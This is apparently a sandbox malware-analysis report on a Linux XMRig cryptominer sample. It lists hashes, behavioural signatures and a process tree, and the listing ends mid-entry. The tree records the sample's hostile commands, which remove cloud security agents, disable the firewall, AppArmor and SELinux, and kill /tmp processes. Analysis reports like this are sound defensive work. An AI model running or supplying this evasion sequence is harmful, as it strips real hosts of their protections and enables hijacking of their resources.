Overview

overview

10

Static

static

1

2024-12-20...et-rat

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    149s
  • max time network
    129s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    20-12-2024 14:46

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2024-12-20_ec006198d15565a8848fbe7062ec330a_hive_poet-rat

  • Size

    6.9MB

  • MD5

    ec006198d15565a8848fbe7062ec330a

  • SHA1

    1eff0b0741f06c520ddc1d9e7ebd713cc1bea5cc

  • SHA256

    826abc3becf8f35d4cc5d6d1a88d26820aa31abd1d27a9e260475ca1ddcdd84c

  • SHA512

    d5f656f1c78f6d6f1f477ce6142e7f075976f6684dc8c942db40acf9034ea798b9bb4df9945eec271a143e9343d9906aea63fed3d9c6b28e212d041078dd88b9

  • SSDEEP

    49152:2oHe1pxcmPvCldt6C+P2zw6foGB4FZbNvaNuAkpaDVcpj6vqcIINgRW24l2iyGfi:29OtePU9foGB4yuEZTvfl/A1zUEgNz

Score
10/10
xmrigxmrig_linuxantivmdefense_evasiondiscoveryexecutionminerpersistenceprivilege_escalatioprivilege_escalation

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • Xmrig family
    xmrig
  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

    persistenceprivilege_escalation
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Creates/modifies environment variables 1 TTPs 1 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Disables AppArmor 47 IoCs

    Disables AppArmor security module.

  • Disables SELinux 1 TTPs 2 IoCs

    Disables SELinux security module.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Modifies Bash startup script 2 TTPs 1 IoCs
    persistence
  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 50 IoCs
    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 45 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 30 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2024-12-20_ec006198d15565a8848fbe7062ec330a_hive_poet-rat
    /tmp/2024-12-20_ec006198d15565a8848fbe7062ec330a_hive_poet-rat
    1⤵
    • Adds new SSH keys
    • Modifies hosts file
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Modifies rc script
    • Modifies systemd
    • Modifies Bash startup script
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:2474
    • /bin/bash
      /bin/bash -c "pkill aliyun-service"
      2⤵
        PID:2480
      • /usr/bin/pkill
        pkill aliyun-service
        2⤵
        • Reads CPU attributes
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:2480
      • /bin/sh
        /bin/sh -c "pkill aliyun-service"
        2⤵
        • Command and Scripting Interpreter: Unix Shell
        PID:2481
        • /usr/bin/pkill
          pkill aliyun-service
          3⤵
          • Reads CPU attributes
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:2482
      • /bin/bash
        /bin/bash -c "rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis"
        2⤵
          PID:2483
        • /usr/bin/rm
          rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis
          2⤵
            PID:2483
          • /bin/sh
            /bin/sh -c "rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis"
            2⤵
            • Command and Scripting Interpreter: Unix Shell
            PID:2484
            • /usr/bin/rm
              rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis
              3⤵
                PID:2485
            • /bin/bash
              /bin/bash -c "systemctl stop aliyun.service"
              2⤵
                PID:2486
              • /usr/bin/systemctl
                systemctl stop aliyun.service
                2⤵
                  PID:2486
                • /bin/sh
                  /bin/sh -c "systemctl stop aliyun.service"
                  2⤵
                  • Command and Scripting Interpreter: Unix Shell
                  PID:2489
                  • /usr/bin/systemctl
                    systemctl stop aliyun.service
                    3⤵
                      PID:2491
                  • /bin/bash
                    /bin/bash -c "systemctl disable aliyun.service"
                    2⤵
                      PID:2492
                    • /usr/bin/systemctl
                      systemctl disable aliyun.service
                      2⤵
                        PID:2492
                      • /bin/sh
                        /bin/sh -c "systemctl disable aliyun.service"
                        2⤵
                        • Command and Scripting Interpreter: Unix Shell
                        PID:2493
                        • /usr/bin/systemctl
                          systemctl disable aliyun.service
                          3⤵
                            PID:2494
                        • /bin/bash
                          /bin/bash -c "service bcm-agent stop"
                          2⤵
                            PID:2495
                          • /usr/sbin/service
                            service bcm-agent stop
                            2⤵
                              PID:2495
                              • /usr/bin/basename
                                basename /usr/sbin/service
                                3⤵
                                  PID:2496
                                • /usr/bin/basename
                                  basename /usr/sbin/service
                                  3⤵
                                    PID:2497
                                  • /usr/bin/systemctl
                                    systemctl list-unit-files --full "--type=socket"
                                    3⤵
                                    • Reads runtime system information
                                    PID:2499
                                  • /usr/bin/sed
                                    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                    3⤵
                                      PID:2500
                                  • /usr/local/sbin/systemctl
                                    systemctl stop bcm-agent.service
                                    2⤵
                                      PID:2495
                                    • /usr/local/bin/systemctl
                                      systemctl stop bcm-agent.service
                                      2⤵
                                        PID:2495
                                      • /usr/sbin/systemctl
                                        systemctl stop bcm-agent.service
                                        2⤵
                                          PID:2495
                                        • /usr/bin/systemctl
                                          systemctl stop bcm-agent.service
                                          2⤵
                                            PID:2495
                                          • /bin/sh
                                            /bin/sh -c "service bcm-agent stop"
                                            2⤵
                                              PID:2502
                                              • /usr/sbin/service
                                                service bcm-agent stop
                                                3⤵
                                                  PID:2503
                                                  • /usr/bin/basename
                                                    basename /usr/sbin/service
                                                    4⤵
                                                      PID:2504
                                                    • /usr/bin/basename
                                                      basename /usr/sbin/service
                                                      4⤵
                                                        PID:2505
                                                      • /usr/bin/systemctl
                                                        systemctl list-unit-files --full "--type=socket"
                                                        4⤵
                                                          PID:2507
                                                        • /usr/bin/sed
                                                          sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                                          4⤵
                                                            PID:2508
                                                        • /usr/local/sbin/systemctl
                                                          systemctl stop bcm-agent.service
                                                          3⤵
                                                            PID:2503
                                                          • /usr/local/bin/systemctl
                                                            systemctl stop bcm-agent.service
                                                            3⤵
                                                              PID:2503
                                                            • /usr/sbin/systemctl
                                                              systemctl stop bcm-agent.service
                                                              3⤵
                                                                PID:2503
                                                              • /usr/bin/systemctl
                                                                systemctl stop bcm-agent.service
                                                                3⤵
                                                                  PID:2503
                                                              • /bin/bash
                                                                /bin/bash -c "yum remove bcm-agent -y"
                                                                2⤵
                                                                  PID:2509
                                                                • /bin/sh
                                                                  /bin/sh -c "yum remove bcm-agent -y"
                                                                  2⤵
                                                                    PID:2510
                                                                  • /bin/bash
                                                                    /bin/bash -c "apt-get remove bcm-agent -y"
                                                                    2⤵
                                                                      PID:2511
                                                                    • /usr/bin/apt-get
                                                                      apt-get remove bcm-agent -y
                                                                      2⤵
                                                                        PID:2511
                                                                        • /usr/bin/dpkg
                                                                          /usr/bin/dpkg --print-foreign-architectures
                                                                          3⤵
                                                                            PID:2512
                                                                          • /usr/bin/dpkg
                                                                            /usr/bin/dpkg --print-foreign-architectures
                                                                            3⤵
                                                                              PID:2513
                                                                          • /bin/sh
                                                                            /bin/sh -c "apt-get remove bcm-agent -y"
                                                                            2⤵
                                                                              PID:2514
                                                                              • /usr/bin/apt-get
                                                                                apt-get remove bcm-agent -y
                                                                                3⤵
                                                                                  PID:2515
                                                                                  • /usr/bin/dpkg
                                                                                    /usr/bin/dpkg --print-foreign-architectures
                                                                                    4⤵
                                                                                      PID:2516
                                                                                    • /usr/bin/dpkg
                                                                                      /usr/bin/dpkg --print-foreign-architectures
                                                                                      4⤵
                                                                                        PID:2517
                                                                                  • /bin/bash
                                                                                    /bin/bash -c "/usr/local/qcloud/stargate/admin/uninstalll.sh &"
                                                                                    2⤵
                                                                                      PID:2518
                                                                                      • /usr/local/qcloud/stargate/admin/uninstalll.sh
                                                                                        /usr/local/qcloud/stargate/admin/uninstalll.sh
                                                                                        3⤵
                                                                                          PID:2519
                                                                                      • /bin/sh
                                                                                        /bin/sh -c "/usr/local/qcloud/stargate/admin/uninstalll.sh &"
                                                                                        2⤵
                                                                                        • Command and Scripting Interpreter: Unix Shell
                                                                                        PID:2520
                                                                                        • /usr/local/qcloud/stargate/admin/uninstalll.sh
                                                                                          /usr/local/qcloud/stargate/admin/uninstalll.sh
                                                                                          3⤵
                                                                                            PID:2521
                                                                                        • /bin/bash
                                                                                          /bin/bash -c "/usr/local/qcloud/YunJing/uninst.sh &"
                                                                                          2⤵
                                                                                            PID:2522
                                                                                            • /usr/local/qcloud/YunJing/uninst.sh
                                                                                              /usr/local/qcloud/YunJing/uninst.sh
                                                                                              3⤵
                                                                                                PID:2523
                                                                                            • /bin/sh
                                                                                              /bin/sh -c "/usr/local/qcloud/YunJing/uninst.sh &"
                                                                                              2⤵
                                                                                              • Command and Scripting Interpreter: Unix Shell
                                                                                              PID:2524
                                                                                            • /bin/bash
                                                                                              /bin/bash -c "/usr/local/qcloud/monitor/barad/admin/uninstall.sh &"
                                                                                              2⤵
                                                                                                PID:2526
                                                                                                • /usr/local/qcloud/monitor/barad/admin/uninstall.sh
                                                                                                  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
                                                                                                  3⤵
                                                                                                    PID:2527
                                                                                                • /bin/sh
                                                                                                  /bin/sh -c "/usr/local/qcloud/monitor/barad/admin/uninstall.sh &"
                                                                                                  2⤵
                                                                                                  • Command and Scripting Interpreter: Unix Shell
                                                                                                  PID:2528
                                                                                                • /bin/bash
                                                                                                  /bin/bash -c "ufw disable"
                                                                                                  2⤵
                                                                                                    PID:2530
                                                                                                  • /bin/sh
                                                                                                    /bin/sh -c "ufw disable"
                                                                                                    2⤵
                                                                                                    • Command and Scripting Interpreter: Unix Shell
                                                                                                    PID:2531
                                                                                                  • /bin/bash
                                                                                                    /bin/bash -c "iptables -f"
                                                                                                    2⤵
                                                                                                    • System Network Configuration Discovery
                                                                                                    PID:2532
                                                                                                  • /bin/sh
                                                                                                    /bin/sh -c "iptables -f"
                                                                                                    2⤵
                                                                                                    • Command and Scripting Interpreter: Unix Shell
                                                                                                    • System Network Configuration Discovery
                                                                                                    PID:2533
                                                                                                  • /bin/bash
                                                                                                    /bin/bash -c "sysctl kernel.nmi_watchdog=0"
                                                                                                    2⤵
                                                                                                      PID:2534
                                                                                                    • /usr/sbin/sysctl
                                                                                                      sysctl "kernel.nmi_watchdog=0"
                                                                                                      2⤵
                                                                                                        PID:2534
                                                                                                      • /bin/sh
                                                                                                        /bin/sh -c "sysctl kernel.nmi_watchdog=0"
                                                                                                        2⤵
                                                                                                        • Command and Scripting Interpreter: Unix Shell
                                                                                                        PID:2535
                                                                                                        • /usr/sbin/sysctl
                                                                                                          sysctl "kernel.nmi_watchdog=0"
                                                                                                          3⤵
                                                                                                            PID:2536
                                                                                                        • /bin/bash
                                                                                                          /bin/bash -c "echo '0' >/proc/sys/kernel/nmi_watchdog"
                                                                                                          2⤵
                                                                                                            PID:2537
                                                                                                          • /bin/sh
                                                                                                            /bin/sh -c "echo '0' >/proc/sys/kernel/nmi_watchdog"
                                                                                                            2⤵
                                                                                                            • Command and Scripting Interpreter: Unix Shell
                                                                                                            PID:2538
                                                                                                          • /bin/bash
                                                                                                            /bin/bash -c "'kernel.nmi_watchdog=0' >>/etc/sysctl.conf"
                                                                                                            2⤵
                                                                                                              PID:2539
                                                                                                            • /bin/sh
                                                                                                              /bin/sh -c "'kernel.nmi_watchdog=0' >>/etc/sysctl.conf"
                                                                                                              2⤵
                                                                                                              • Command and Scripting Interpreter: Unix Shell
                                                                                                              PID:2541
                                                                                                            • /bin/bash
                                                                                                              /bin/bash -c "service apparmor stop"
                                                                                                              2⤵
                                                                                                                PID:2542
                                                                                                              • /usr/sbin/service
                                                                                                                service apparmor stop
                                                                                                                2⤵
                                                                                                                  PID:2542
                                                                                                                  • /usr/bin/basename
                                                                                                                    basename /usr/sbin/service
                                                                                                                    3⤵
                                                                                                                      PID:2543
                                                                                                                    • /usr/bin/basename
                                                                                                                      basename /usr/sbin/service
                                                                                                                      3⤵
                                                                                                                        PID:2544
                                                                                                                      • /usr/bin/systemctl
                                                                                                                        systemctl list-unit-files --full "--type=socket"
                                                                                                                        3⤵
                                                                                                                          PID:2546
                                                                                                                        • /usr/bin/sed
                                                                                                                          sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                                                                                                          3⤵
                                                                                                                            PID:2547
                                                                                                                        • /usr/local/sbin/systemctl
                                                                                                                          systemctl stop apparmor.service
                                                                                                                          2⤵
                                                                                                                          • Disables AppArmor
                                                                                                                          PID:2542
                                                                                                                        • /usr/local/bin/systemctl
                                                                                                                          systemctl stop apparmor.service
                                                                                                                          2⤵
                                                                                                                          • Disables AppArmor
                                                                                                                          PID:2542
                                                                                                                        • /usr/sbin/systemctl
                                                                                                                          systemctl stop apparmor.service
                                                                                                                          2⤵
                                                                                                                          • Disables AppArmor
                                                                                                                          PID:2542
                                                                                                                        • /usr/bin/systemctl
                                                                                                                          systemctl stop apparmor.service
                                                                                                                          2⤵
                                                                                                                          • Disables AppArmor
                                                                                                                          PID:2542
                                                                                                                        • /bin/sh
                                                                                                                          /bin/sh -c "service apparmor stop"
                                                                                                                          2⤵
                                                                                                                          • Command and Scripting Interpreter: Unix Shell
                                                                                                                          PID:2550
                                                                                                                          • /usr/sbin/service
                                                                                                                            service apparmor stop
                                                                                                                            3⤵
                                                                                                                              PID:2551
                                                                                                                              • /usr/bin/basename
                                                                                                                                basename /usr/sbin/service
                                                                                                                                4⤵
                                                                                                                                  PID:2552
                                                                                                                                • /usr/bin/basename
                                                                                                                                  basename /usr/sbin/service
                                                                                                                                  4⤵
                                                                                                                                    PID:2553
                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                    systemctl list-unit-files --full "--type=socket"
                                                                                                                                    4⤵
                                                                                                                                    • Disables AppArmor
                                                                                                                                    PID:2555
                                                                                                                                  • /usr/bin/sed
                                                                                                                                    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                                                                                                                    4⤵
                                                                                                                                      PID:2556
                                                                                                                                  • /usr/local/sbin/systemctl
                                                                                                                                    systemctl stop apparmor.service
                                                                                                                                    3⤵
                                                                                                                                    • Disables AppArmor
                                                                                                                                    PID:2551
                                                                                                                                  • /usr/local/bin/systemctl
                                                                                                                                    systemctl stop apparmor.service
                                                                                                                                    3⤵
                                                                                                                                    • Disables AppArmor
                                                                                                                                    PID:2551
                                                                                                                                  • /usr/sbin/systemctl
                                                                                                                                    systemctl stop apparmor.service
                                                                                                                                    3⤵
                                                                                                                                    • Disables AppArmor
                                                                                                                                    PID:2551
                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                    systemctl stop apparmor.service
                                                                                                                                    3⤵
                                                                                                                                    • Disables AppArmor
                                                                                                                                    PID:2551
                                                                                                                                • /bin/bash
                                                                                                                                  /bin/bash -c "systemctl disable apparmor"
                                                                                                                                  2⤵
                                                                                                                                    PID:2557
                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                    systemctl disable apparmor
                                                                                                                                    2⤵
                                                                                                                                    • Disables AppArmor
                                                                                                                                    • Changes its process name
                                                                                                                                    PID:2557
                                                                                                                                    • /usr/bin/getopt
                                                                                                                                      getopt -o r: --long root: -- disable apparmor
                                                                                                                                      3⤵
                                                                                                                                        PID:2559
                                                                                                                                      • /usr/sbin/update-rc.d
                                                                                                                                        /usr/sbin/update-rc.d apparmor defaults
                                                                                                                                        3⤵
                                                                                                                                          PID:2560
                                                                                                                                          • /usr/local/sbin/systemctl
                                                                                                                                            systemctl daemon-reload
                                                                                                                                            4⤵
                                                                                                                                            • Disables AppArmor
                                                                                                                                            PID:2565
                                                                                                                                          • /usr/local/bin/systemctl
                                                                                                                                            systemctl daemon-reload
                                                                                                                                            4⤵
                                                                                                                                            • Disables AppArmor
                                                                                                                                            PID:2565
                                                                                                                                          • /usr/sbin/systemctl
                                                                                                                                            systemctl daemon-reload
                                                                                                                                            4⤵
                                                                                                                                            • Disables AppArmor
                                                                                                                                            PID:2565
                                                                                                                                          • /usr/bin/systemctl
                                                                                                                                            systemctl daemon-reload
                                                                                                                                            4⤵
                                                                                                                                            • Disables AppArmor
                                                                                                                                            PID:2565
                                                                                                                                        • /usr/sbin/update-rc.d
                                                                                                                                          /usr/sbin/update-rc.d apparmor disable
                                                                                                                                          3⤵
                                                                                                                                            PID:2698
                                                                                                                                            • /usr/local/sbin/systemctl
                                                                                                                                              systemctl daemon-reload
                                                                                                                                              4⤵
                                                                                                                                              • Disables AppArmor
                                                                                                                                              PID:2699
                                                                                                                                            • /usr/local/bin/systemctl
                                                                                                                                              systemctl daemon-reload
                                                                                                                                              4⤵
                                                                                                                                              • Disables AppArmor
                                                                                                                                              PID:2699
                                                                                                                                            • /usr/sbin/systemctl
                                                                                                                                              systemctl daemon-reload
                                                                                                                                              4⤵
                                                                                                                                              • Disables AppArmor
                                                                                                                                              PID:2699
                                                                                                                                            • /usr/bin/systemctl
                                                                                                                                              systemctl daemon-reload
                                                                                                                                              4⤵
                                                                                                                                              • Disables AppArmor
                                                                                                                                              PID:2699
                                                                                                                                        • /bin/sh
                                                                                                                                          /bin/sh -c "systemctl disable apparmor"
                                                                                                                                          2⤵
                                                                                                                                          • Command and Scripting Interpreter: Unix Shell
                                                                                                                                          PID:2954
                                                                                                                                          • /usr/bin/systemctl
                                                                                                                                            systemctl disable apparmor
                                                                                                                                            3⤵
                                                                                                                                            • Disables AppArmor
                                                                                                                                            • Changes its process name
                                                                                                                                            PID:2955
                                                                                                                                            • /usr/bin/getopt
                                                                                                                                              getopt -o r: --long root: -- disable apparmor
                                                                                                                                              4⤵
                                                                                                                                                PID:2957
                                                                                                                                              • /usr/sbin/update-rc.d
                                                                                                                                                /usr/sbin/update-rc.d apparmor defaults
                                                                                                                                                4⤵
                                                                                                                                                  PID:2958
                                                                                                                                                  • /usr/local/sbin/systemctl
                                                                                                                                                    systemctl daemon-reload
                                                                                                                                                    5⤵
                                                                                                                                                    • Disables AppArmor
                                                                                                                                                    PID:2959
                                                                                                                                                  • /usr/local/bin/systemctl
                                                                                                                                                    systemctl daemon-reload
                                                                                                                                                    5⤵
                                                                                                                                                    • Disables AppArmor
                                                                                                                                                    PID:2959
                                                                                                                                                  • /usr/sbin/systemctl
                                                                                                                                                    systemctl daemon-reload
                                                                                                                                                    5⤵
                                                                                                                                                    • Disables AppArmor
                                                                                                                                                    PID:2959
                                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                                    systemctl daemon-reload
                                                                                                                                                    5⤵
                                                                                                                                                    • Disables AppArmor
                                                                                                                                                    PID:2959
                                                                                                                                                • /usr/sbin/update-rc.d
                                                                                                                                                  /usr/sbin/update-rc.d apparmor disable
                                                                                                                                                  4⤵
                                                                                                                                                    PID:3084
                                                                                                                                                    • /usr/local/sbin/systemctl
                                                                                                                                                      systemctl daemon-reload
                                                                                                                                                      5⤵
                                                                                                                                                      • Disables AppArmor
                                                                                                                                                      PID:3085
                                                                                                                                                    • /usr/local/bin/systemctl
                                                                                                                                                      systemctl daemon-reload
                                                                                                                                                      5⤵
                                                                                                                                                      • Disables AppArmor
                                                                                                                                                      PID:3085
                                                                                                                                                    • /usr/sbin/systemctl
                                                                                                                                                      systemctl daemon-reload
                                                                                                                                                      5⤵
                                                                                                                                                      • Disables AppArmor
                                                                                                                                                      PID:3085
                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                      systemctl daemon-reload
                                                                                                                                                      5⤵
                                                                                                                                                      • Disables AppArmor
                                                                                                                                                      PID:3085
                                                                                                                                              • /bin/bash
                                                                                                                                                /bin/bash -c "service aliyun-service stop"
                                                                                                                                                2⤵
                                                                                                                                                  PID:3334
                                                                                                                                                • /usr/sbin/service
                                                                                                                                                  service aliyun-service stop
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3334
                                                                                                                                                    • /usr/bin/basename
                                                                                                                                                      basename /usr/sbin/service
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3335
                                                                                                                                                      • /usr/bin/basename
                                                                                                                                                        basename /usr/sbin/service
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3336
                                                                                                                                                        • /usr/bin/systemctl
                                                                                                                                                          systemctl list-unit-files --full "--type=socket"
                                                                                                                                                          3⤵
                                                                                                                                                          • Disables AppArmor
                                                                                                                                                          PID:3338
                                                                                                                                                        • /usr/bin/sed
                                                                                                                                                          sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3339
                                                                                                                                                        • /usr/local/sbin/systemctl
                                                                                                                                                          systemctl stop aliyun-service.service
                                                                                                                                                          2⤵
                                                                                                                                                          • Disables AppArmor
                                                                                                                                                          PID:3334
                                                                                                                                                        • /usr/local/bin/systemctl
                                                                                                                                                          systemctl stop aliyun-service.service
                                                                                                                                                          2⤵
                                                                                                                                                          • Disables AppArmor
                                                                                                                                                          PID:3334
                                                                                                                                                        • /usr/sbin/systemctl
                                                                                                                                                          systemctl stop aliyun-service.service
                                                                                                                                                          2⤵
                                                                                                                                                          • Disables AppArmor
                                                                                                                                                          PID:3334
                                                                                                                                                        • /usr/bin/systemctl
                                                                                                                                                          systemctl stop aliyun-service.service
                                                                                                                                                          2⤵
                                                                                                                                                          • Disables AppArmor
                                                                                                                                                          PID:3334
                                                                                                                                                        • /bin/sh
                                                                                                                                                          /bin/sh -c "service aliyun-service stop"
                                                                                                                                                          2⤵
                                                                                                                                                          • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                          PID:3340
                                                                                                                                                          • /usr/sbin/service
                                                                                                                                                            service aliyun-service stop
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3341
                                                                                                                                                              • /usr/bin/basename
                                                                                                                                                                basename /usr/sbin/service
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:3342
                                                                                                                                                                • /usr/bin/basename
                                                                                                                                                                  basename /usr/sbin/service
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:3343
                                                                                                                                                                  • /usr/bin/sed
                                                                                                                                                                    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:3346
                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                      systemctl list-unit-files --full "--type=socket"
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Disables AppArmor
                                                                                                                                                                      PID:3345
                                                                                                                                                                  • /usr/local/sbin/systemctl
                                                                                                                                                                    systemctl stop aliyun-service.service
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Disables AppArmor
                                                                                                                                                                    PID:3341
                                                                                                                                                                  • /usr/local/bin/systemctl
                                                                                                                                                                    systemctl stop aliyun-service.service
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Disables AppArmor
                                                                                                                                                                    PID:3341
                                                                                                                                                                  • /usr/sbin/systemctl
                                                                                                                                                                    systemctl stop aliyun-service.service
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Disables AppArmor
                                                                                                                                                                    PID:3341
                                                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                                                    systemctl stop aliyun-service.service
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Disables AppArmor
                                                                                                                                                                    PID:3341
                                                                                                                                                                • /bin/bash
                                                                                                                                                                  /bin/bash -c "setenforce 0"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:3347
                                                                                                                                                                  • /usr/sbin/setenforce
                                                                                                                                                                    setenforce 0
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Disables SELinux
                                                                                                                                                                    PID:3347
                                                                                                                                                                  • /bin/sh
                                                                                                                                                                    /bin/sh -c "setenforce 0"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                    PID:3348
                                                                                                                                                                    • /usr/sbin/setenforce
                                                                                                                                                                      setenforce 0
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Disables SELinux
                                                                                                                                                                      PID:3349
                                                                                                                                                                  • /bin/bash
                                                                                                                                                                    /bin/bash -c "echo SELINUX=disabled >/etc/selinux/config"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3350
                                                                                                                                                                    • /bin/sh
                                                                                                                                                                      /bin/sh -c "echo SELINUX=disabled >/etc/selinux/config"
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                      PID:3351
                                                                                                                                                                    • /bin/bash
                                                                                                                                                                      /bin/bash -c "kill -9 /tmp/*"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3352
                                                                                                                                                                      • /bin/sh
                                                                                                                                                                        /bin/sh -c "kill -9 /tmp/*"
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                        PID:3353
                                                                                                                                                                      • /bin/bash
                                                                                                                                                                        /bin/bash -c "pkill /tmp/*"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:3354
                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                          pkill /tmp/2024-12-20_ec006198d15565a8848fbe7062ec330a_hive_poet-rat /tmp/gdm3-config-err-5nyx0v /tmp/gdm3-config-err-nbtXu0 /tmp/snap-private-tmp /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-ModemManager.service-DwOiIt /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-colord.service-hMioRj /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-polkit.service-bOKKnG /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-power-profiles-daemon.service-ajWWPk /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-switcheroo-control.service-XezE5J /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-systemd-logind.service-pJN8Km /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-systemd-oomd.service-j5m4YH /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-systemd-resolved.service-zgQZvg /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-systemd-timedated.service-nbLJhi /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-upower.service-GvtGHb
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:3354
                                                                                                                                                                          • /bin/sh
                                                                                                                                                                            /bin/sh -c "pkill /tmp/*"
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                            PID:3355
                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                              pkill /tmp/2024-12-20_ec006198d15565a8848fbe7062ec330a_hive_poet-rat /tmp/gdm3-config-err-5nyx0v /tmp/gdm3-config-err-nbtXu0 /tmp/snap-private-tmp /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-ModemManager.service-DwOiIt /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-colord.service-hMioRj /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-polkit.service-bOKKnG /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-power-profiles-daemon.service-ajWWPk /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-switcheroo-control.service-XezE5J /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-systemd-logind.service-pJN8Km /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-systemd-oomd.service-j5m4YH /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-systemd-resolved.service-zgQZvg /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-systemd-timedated.service-nbLJhi /tmp/systemd-private-db282fe03f154e6bb2997a71783d59bc-upower.service-GvtGHb
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:3356
                                                                                                                                                                            • /bin/bash
